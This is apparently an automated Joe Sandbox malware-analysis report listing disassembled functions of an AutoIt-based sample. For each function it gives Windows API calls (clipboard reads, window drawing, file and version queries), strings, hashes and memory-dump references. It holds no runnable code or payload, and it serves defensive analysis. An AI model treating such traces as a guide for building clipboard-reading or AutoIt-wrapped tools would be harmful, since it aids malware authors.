                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                              • String ID: $AutoIt v3$DISPLAY$static
                              • API String ID: 4040870279-2373415609
                              • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                              • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                              • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                              • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                              APIs
                              • GetSysColor.USER32(00000012), ref: 00441E64
                              • SetTextColor.GDI32(?,?), ref: 00441E6C
                              • GetSysColorBrush.USER32(0000000F), ref: 00441E83
                              • GetSysColor.USER32(0000000F), ref: 00441E8F
                              • SetBkColor.GDI32(?,?), ref: 00441EAA
                              • SelectObject.GDI32(?,?), ref: 00441EBA
                              • InflateRect.USER32(?,000000FF,000000FF), ref: 00441EF0
                              • GetSysColor.USER32(00000010), ref: 00441EF8
                              • CreateSolidBrush.GDI32(00000000), ref: 00441EFF
                              • FrameRect.USER32(?,?,00000000), ref: 00441F10
                              • DeleteObject.GDI32(?), ref: 00441F1B
                              • InflateRect.USER32(?,000000FE,000000FE), ref: 00441F75
                              • FillRect.USER32(?,?,?), ref: 00441FB6
                                • Part of subcall function 00433D5C: GetSysColor.USER32(0000000E), ref: 00433D81
                                • Part of subcall function 00433D5C: SetTextColor.GDI32(?,00000000), ref: 00433D89
                                • Part of subcall function 00433D5C: GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                • Part of subcall function 00433D5C: GetSysColor.USER32(0000000F), ref: 00433DCB
                                • Part of subcall function 00433D5C: GetSysColor.USER32(00000011), ref: 00433DEB
                                • Part of subcall function 00433D5C: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                • Part of subcall function 00433D5C: SelectObject.GDI32(?,00000000), ref: 00433E0D
                                • Part of subcall function 00433D5C: SetBkColor.GDI32(?,?), ref: 00433E19
                                • Part of subcall function 00433D5C: SelectObject.GDI32(?,?), ref: 00433E29
                                • Part of subcall function 00433D5C: InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                • Part of subcall function 00433D5C: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                • Part of subcall function 00433D5C: GetWindowLongW.USER32 ref: 00433E8A
                                • Part of subcall function 00433D5C: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Color$Rect$Object$BrushInflateSelect$CreateText$DeleteFillFrameLongMessageRoundSendSolidWindow
                              • String ID:
                              • API String ID: 69173610-0
                              • Opcode ID: 63a2be33accb074b4178bb2d7a96f271ea41f5903b36f57aa3a0bb7ff7b8698e
                              • Instruction ID: 0b0c06e318eae1aa70623bc76f746578ebcda4f465cb69034399d4c57c44293d
                              • Opcode Fuzzy Hash: 63a2be33accb074b4178bb2d7a96f271ea41f5903b36f57aa3a0bb7ff7b8698e
                              • Instruction Fuzzy Hash: BBB14D71508300AFD314DF64DD88A6FB7F8FB88720F504A2DF996922A0D774E845CB66
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsnicmp
                              • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                              • API String ID: 1038674560-3360698832
                              • Opcode ID: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                              • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                              • Opcode Fuzzy Hash: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                              • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                              APIs
                              • GetSysColor.USER32(0000000E), ref: 00433D81
                              • SetTextColor.GDI32(?,00000000), ref: 00433D89
                              • GetSysColor.USER32(00000012), ref: 00433DA3
                              • SetTextColor.GDI32(?,?), ref: 00433DAB
                              • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                              • GetSysColor.USER32(0000000F), ref: 00433DCB
                              • CreateSolidBrush.GDI32(?), ref: 00433DD4
                              • GetSysColor.USER32(00000011), ref: 00433DEB
                              • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                              • SelectObject.GDI32(?,00000000), ref: 00433E0D
                              • SetBkColor.GDI32(?,?), ref: 00433E19
                              • SelectObject.GDI32(?,?), ref: 00433E29
                              • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                              • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                              • GetWindowLongW.USER32 ref: 00433E8A
                              • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                              • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                              • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                              • DrawFocusRect.USER32(?,?), ref: 00433F1F
                              • GetSysColor.USER32(00000011), ref: 00433F2E
                              • SetTextColor.GDI32(?,00000000), ref: 00433F36
                              • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                              • SelectObject.GDI32(?,?), ref: 00433F63
                              • DeleteObject.GDI32(?), ref: 00433F70
                              • SelectObject.GDI32(?,?), ref: 00433F78
                              • DeleteObject.GDI32(00000000), ref: 00433F7B
                              • SetTextColor.GDI32(?,?), ref: 00433F83
                              • SetBkColor.GDI32(?,?), ref: 00433F8F
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                              • String ID:
                              • API String ID: 1582027408-0
                              • Opcode ID: e151e7129dedd9b649cf5279759d6c8ca4f2d2edd5ec07a1e2c3294b07796789
                              • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                              • Opcode Fuzzy Hash: e151e7129dedd9b649cf5279759d6c8ca4f2d2edd5ec07a1e2c3294b07796789
                              • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                              APIs
                              • OpenClipboard.USER32(?), ref: 0046C635
                              • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                              • GetClipboardData.USER32(0000000D), ref: 0046C64F
                              • CloseClipboard.USER32 ref: 0046C65D
                              • GlobalLock.KERNEL32(00000000), ref: 0046C688
                              • CloseClipboard.USER32 ref: 0046C692
                              • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                              • GetClipboardData.USER32(00000001), ref: 0046C6DD
                              • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                              • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                              • CloseClipboard.USER32 ref: 0046C866
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                              • String ID: HH
                              • API String ID: 589737431-2761332787
                              • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                              • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                              • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                              • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                              APIs
                              • GetCursorPos.USER32(?), ref: 00456692
                              • GetDesktopWindow.USER32 ref: 004566AA
                              • GetWindowRect.USER32(00000000), ref: 004566B1
                              • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                              • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                              • DestroyWindow.USER32(?), ref: 00456731
                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                              • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                              • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                              • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                              • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                              • IsWindowVisible.USER32(?), ref: 00456812
                              • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                              • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                              • GetWindowRect.USER32(?,?), ref: 0045685C
                              • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                              • GetMonitorInfoW.USER32 ref: 00456894
                              • CopyRect.USER32(?,?), ref: 004568A8
                              • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                              • String ID: ($,$tooltips_class32
                              • API String ID: 541082891-3320066284
                              • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                              • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                              • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                              • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                              APIs
                              • _wcslen.LIBCMT ref: 00454DCF
                              • _wcslen.LIBCMT ref: 00454DE2
                              • __wcsicoll.LIBCMT ref: 00454DEF
                              • _wcslen.LIBCMT ref: 00454E04
                              • __wcsicoll.LIBCMT ref: 00454E11
                              • _wcslen.LIBCMT ref: 00454E24
                              • __wcsicoll.LIBCMT ref: 00454E31
                                • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                              • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                              • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                              • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                              • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                              • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                              • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                              • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                              • DestroyIcon.USER32(?), ref: 00454FA2
                              • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                              • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                              • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                              • String ID: .dll$.exe$.icl$#v
                              • API String ID: 2511167534-1852478350
                              • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                              • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                              • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                              • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                              APIs
                              • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                              • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                              • _wcslen.LIBCMT ref: 00436B79
                              • _wcscpy.LIBCMT ref: 00436B9F
                              • _wcscat.LIBCMT ref: 00436BC0
                              • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                              • _wcscat.LIBCMT ref: 00436C2A
                              • _wcscat.LIBCMT ref: 00436C31
                              • __wcsicoll.LIBCMT ref: 00436C4B
                              • _wcsncpy.LIBCMT ref: 00436C62
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                              • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                              • API String ID: 1503153545-1459072770
                              • Opcode ID: 8f115a8dcca366765dccafad874a9911a33c709b0333e454bef2361e27f7839d
                              • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                              • Opcode Fuzzy Hash: 8f115a8dcca366765dccafad874a9911a33c709b0333e454bef2361e27f7839d
                              • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                              APIs
                                • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                              • _fseek.LIBCMT ref: 004527FC
                              • __wsplitpath.LIBCMT ref: 0045285C
                              • _wcscpy.LIBCMT ref: 00452871
                              • _wcscat.LIBCMT ref: 00452886
                              • __wsplitpath.LIBCMT ref: 004528B0
                              • _wcscat.LIBCMT ref: 004528C8
                              • _wcscat.LIBCMT ref: 004528DD
                              • __fread_nolock.LIBCMT ref: 00452914
                              • __fread_nolock.LIBCMT ref: 00452925
                              • __fread_nolock.LIBCMT ref: 00452944
                              • __fread_nolock.LIBCMT ref: 00452955
                              • __fread_nolock.LIBCMT ref: 00452976
                              • __fread_nolock.LIBCMT ref: 00452987
                              • __fread_nolock.LIBCMT ref: 00452998
                              • __fread_nolock.LIBCMT ref: 004529A9
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                              • __fread_nolock.LIBCMT ref: 00452A39
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                              • String ID:
                              • API String ID: 2054058615-0
                              • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                              • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                              • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                              • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: 0
                              • API String ID: 0-4108050209
                              • Opcode ID: 3341d5ccd3f52121a0b9d5f5b9edb9a4c3413db68c9c5c7597b80800bbf161ae
                              • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                              • Opcode Fuzzy Hash: 3341d5ccd3f52121a0b9d5f5b9edb9a4c3413db68c9c5c7597b80800bbf161ae
                              • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                              APIs
                              • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window
                              • String ID: 0
                              • API String ID: 2353593579-4108050209
                              • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                              • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                              • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                              • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                              APIs
                              • GetSysColor.USER32 ref: 0044A11D
                              • GetClientRect.USER32(?,?), ref: 0044A18D
                              • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                              • GetWindowDC.USER32(?), ref: 0044A1B3
                              • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                              • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                              • GetSysColor.USER32(0000000F), ref: 0044A1EC
                              • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                              • GetSysColor.USER32(0000000F), ref: 0044A216
                              • GetSysColor.USER32(00000005), ref: 0044A21E
                              • GetWindowDC.USER32 ref: 0044A277
                              • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                              • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                              • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                              • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                              • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                              • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                              • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                              • GetStockObject.GDI32(00000005), ref: 0044A312
                              • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                              • String ID:
                              • API String ID: 1744303182-0
                              • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                              • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                              • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                              • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsicoll$__wcsnicmp
                              • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                              • API String ID: 790654849-1810252412
                              • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                              • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                              • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                              • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
